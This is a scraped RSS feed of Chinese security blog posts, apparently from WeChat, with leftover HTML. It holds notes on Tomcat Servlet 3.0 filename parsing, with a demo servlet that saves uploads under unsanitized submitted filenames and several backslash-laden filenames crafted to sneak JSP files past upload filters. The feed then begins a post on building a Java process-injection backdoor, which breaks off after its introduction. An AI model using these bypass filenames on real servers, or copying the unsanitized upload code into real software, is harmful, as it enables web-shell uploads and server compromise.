3.0的文件名解析规则有稍许奇特，上周跟了一下，以下为笔记：</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);"></span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="136" data-source-title="参考园长：https://javasec.org/java-vuls/FileUpload.html"><section class="js_blockquote_digest"><section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);">Servlet3.0 新增了对文件上传请求解析的支持，</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);">javax.servlet.http.HttpServletRequest#getParts，使用</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);">request.getParts();即可获取文件上传包解析后的结果，从此不再需要使用第三方jar来处理文件上传请求了。</span></p></section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A185%2C%22text%22%3A%22Servlet3.0%20%E6%96%B0%E5%A2%9E%E4%BA%86%E5%AF%B9%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E8%AF%B7%E6%B1%82%E8%A7%A3%E6%9E%90%E7%9A%84%E6%94%AF%E6%8C%81%EF%BC%8Cjavax.servlet.http.HttpServletRequest%23getParts%EF%BC%8C%E4%BD%BF%E7%94%A8request.getParts()%3B%E5%8D%B3%E5%8F%AF%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%8C%85%E8%A7%A3%E6%9E%90%E5%90%8E%E7%9A%84%E7%BB%93%E6%9E%9C%EF%BC%8C%E4%BB%8E%E6%AD%A4%E4%B8%8D%E5%86%8D%E9%9C%80%E8%A6%81%E4%BD%BF%E7%94%A8%E7%AC%AC%E4%B8%89%E6%96%B9jar%E6%9D%A5%E5%A4%84%E7%90%86%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E8%AF%B7%E6%B1%82%E4%BA%86%E3%80%82%E5%8F%82%E8%80%83%E5%9B%AD%E9%95%BFhttps%3A%2F%2Fjavasec.org%2Fjava-vuls%2FFileUpload.html%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22%E5%8F%82%E8%80%83%E5%9B%AD%E9%95%BF%EF%BC%9Ahttps%3A%2F%2Fjavasec.org%2Fjava-vuls%2FFileUpload.html%22%7D"><span class="blockquote_other">参考园长：<a href="https://javasec.org/java-vuls/FileUpload.html" target="_blank">https://javasec.org/java-vuls/FileUpload.html</a></span></section></blockquote><p>demo：<br/></p><p><span style="line-height: 0px;">‍</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.example.tomcat_bypass;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.io.FileUtils;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.io.IOUtils;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.ServletException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.annotation.MultipartConfig;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.annotation.WebServlet;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.HttpServlet;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.HttpServletRequest;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.HttpServletResponse;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.Part;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Collection;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@MultipartConfig</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@WebServlet</span>(name = <span class="code-snippet__string">&#34;upload&#34;</span>,value = <span class="code-snippet__string">&#34;/upload&#34;</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">upload</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">HttpServlet</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">doGet</span><span class="code-snippet__params">(HttpServletRequest req , HttpServletResponse resp)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        resp.getWriter().println(<span class="code-snippet__string">&#34;doPost!&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">doPost</span><span class="code-snippet__params">( HttpServletRequest request , HttpServletResponse response)</span> <span class="code-snippet__keyword">throws</span> IOException, ServletException </span>{</span></code><code><span class="code-snippet_outer">        PrintWriter out         = response.getWriter();</span></code><code><span class="code-snippet_outer">        String      contentType = request.getContentType();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 检测是否是multipart请求</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (contentType != <span class="code-snippet__keyword">null</span> &amp;&amp; contentType.startsWith(<span class="code-snippet__string">&#34;multipart/&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            String dir       = request.getSession().getServletContext().getRealPath(<span class="code-snippet__string">&#34;/uploads/&#34;</span>);</span></code><code><span class="code-snippet_outer">            File   uploadDir = <span class="code-snippet__keyword">new</span> File(dir);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!uploadDir.exists()) {</span></code><code><span class="code-snippet_outer">                uploadDir.mkdir();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            Collection&lt;Part&gt; parts = request.getParts();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Part part : parts) {</span></code><code><span class="code-snippet_outer">                String fileName = part.getSubmittedFileName();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (fileName != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                    File uploadFile = <span class="code-snippet__keyword">new</span> File(uploadDir, fileName);</span></code><code><span class="code-snippet_outer">                    out.println(part.getName() + <span class="code-snippet__string">&#34;: &#34;</span> + uploadFile.getAbsolutePath());</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    FileUtils.writeStringToFile(uploadFile, IOUtils.toString(part.getInputStream(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>));</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    out.println(part.getName() + <span class="code-snippet__string">&#34;: &#34;</span> + IOUtils.toString(part.getInputStream()));</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        out.flush();</span></code><code><span class="code-snippet_outer">        out.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);"></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFRF-1655278892193&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ktke-1655278892191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中使用ApplicationPart来存储从multipart请求中接收的DiskFileItem对象信息：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s2kq-1655279229511&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE630c41c963421d9a394cf4fe0dd34bfd&#34;,&#34;width&#34;:761,&#34;height&#34;:477},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE630c41c963421d9a394cf4fe0dd34bfd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:477},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ndRS-1655279229515&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JNHa-1655279229513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而获取文件名所使用的方法为getSubmittedFileName()，如上图断点处所示。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nBEW-1655279360481&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gjez-1655279360478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟进ApplicationPart类，查看其getSubmittedFileName方法：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ymol-1655280423856&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCEd9c5323d94e628911c310c98360639ed&#34;,&#34;width&#34;:761,&#34;height&#34;:468},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCEd9c5323d94e628911c310c98360639ed&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:468},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;llfz-1655279360700&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DuIs-1655279360698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;使用unquote方法处理fileName，跟进查看：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5mfm-1655280740154&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE5dbb495dc9de6e633dad4ccb1b43b7a8&#34;,&#34;width&#34;:761,&#34;height&#34;:468},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCE5dbb495dc9de6e633dad4ccb1b43b7a8&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:468},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mZ5N-1655279292554&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J3KA-1655279292551&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一共两个特性：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JJVJ-1655281033281&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pjS2-1655281033279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;case1:&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fnfS-1655281083995&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T4F6-1655281083992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;当input String中含有双引号时‘ ” ’，整体字符长度将会减1。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGjq-1655281133292&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jpT1-1655281133277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;case2:&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dJ9Z-1655281137452&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FN1o-1655281137450&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;当字符串中含有" note="" yws="" res="" a="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">其中使用ApplicationPart来存储从multipart请求中接收的DiskFileItem对象信息：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6269678302532512" style="width: 761px;height: 477px;" data-type="png" data-w="2922" src="https://wechat2rss.xlab.app/img-proxy/?k=5f2561d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5qZdUm3ADrphNkLWck16uqwvPm3orPNYIqz54jH4XnJuIoUdpicuUhvRgN3Zb3DMwxN0TR4ohW2vw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">而获取文件名所使用的方法为getSubmittedFileName()，如上图断点处所示。</span></p><p><span style="background-color: rgb(255, 255, 255);">跟进ApplicationPart类，查看其getSubmittedFileName方法：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 761px;height: 468px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=0f40c27f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5qZdUm3ADrphNkLWck16uqOTBQzwJslDdYNb12MXEHGVxX09I3z5tK6ibjCH3akxTJJYXQJibJ625Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">使用unquote方法处理fileName，跟进查看：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 761px;height: 468px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=6b2180db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5qZdUm3ADrphNkLWck16uqGzFA95gLPctOjibk7XyGQ8qASFaO7GpCQ42T5IjYqicPyjEqnFNyP2MQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);">一共两个特性：</span></p><p><span style="background-color: rgb(255, 255, 255);">case1:</span></p><p><span style="background-color: rgb(255, 255, 255);">当input String中含有双引号时‘ ” ’，整体字符长度将会减1。</span></p><p><span style="background-color: rgb(255, 255, 255);">case2:</span></p><p><span style="background-color: rgb(255, 255, 255);">当字符串中含有&#39; \ &#39;时，则会跳过该字符，将后一位字符直接放入result中。</span></p><p><span style="background-color: rgb(255, 255, 255);"></span></p><p><span style="background-color: rgb(255, 255, 255);">针对文件名我们可以尝试构造如下类型的payload：</span></p><p><span style="background-color: rgb(255, 255, 255);"></span></p><ul yne-block-type="list" style="margin: 0px;" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">123\.\j\s\p</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">123.\j\s\p\</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">&#34;123.js\p\xg</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">.....</span></p></li></ul><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 761px;height: 527px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=907d3a22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5qZdUm3ADrphNkLWck16uqfHF9Z0GZgoUAvCBENSNATbBNhxLyPzJjrtPpnkY7CUnMs7eXDGCzKw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);"></span></p></article></article><p><br/></p>



<p><a href="2247483691">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d9e10ecf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483691%26idx%3D1%26sn%3D9d1f70ec8bf9476e134b4d591873a89e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 18 Jun 2022 18:29:00 +0800</pubDate>
    </item>
    <item>
      <title>用Java原生进程注入写一个线程型后门</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483678&amp;idx=1&amp;sn=1f0282bde47e41281e4007b733b0505f</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-06-12 21:28</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8e4545a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSeLtXT7cgmfwlAfHzWabVPibTWkYFBicicRJJichzKQG16Gn7PYCCbeFEibA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考链接：&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;ONz7-1650531695116&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K2z0-1650531695114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rNtI-1650531695125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LflD-1650531696032&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Acz-1650531696030&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;rebeyond师傅曾在2021年发表过一篇文章《&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;Java内存攻击技术漫谈&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;》，其中有提到如何进行Java的原生远程进程注入。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iokU-1650691353583&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XEAa-1650691353566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;不安全的attach机制&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;isir-1650691387941&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ttXr-1650691387942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在jdk8中，attach机制的实现主要来自于tools.jar包中的sun.tools.attach.VirtualMachineImpl类，在jdk8u172中如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;totC-1650693620460&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE853adf2bee43c6a846da9ef9597f8f11&#34;,&#34;width&#34;:489,&#34;height&#34;:487},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE853adf2bee43c6a846da9ef9597f8f11&#34;,&#34;initialSize&#34;:{&#34;width&#34;:489,&#34;height&#34;:484},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BHUD-1650691783402&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5IOl-1650691783404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从参考文档中可知，VituralMachine类主要使用&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;mSY7-1650694335108&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html#loadAgent(java.lang.String,java.lang.String)&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XgfY-1650694335107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loadAgent&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gWJ6-1650694335109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; ， &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#474747&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;SimSun&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;CUJk-1650694335111&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.apiref.com/java11-zh/jdk.attach/com/sun/tools/attach/VirtualMachine.html#loadAgentLibrary(java.lang.String,java.lang.String)&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qSCr-1650694335110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;loadAgentLibrary&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xd7B-1650694335113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; ，和&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#474747&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 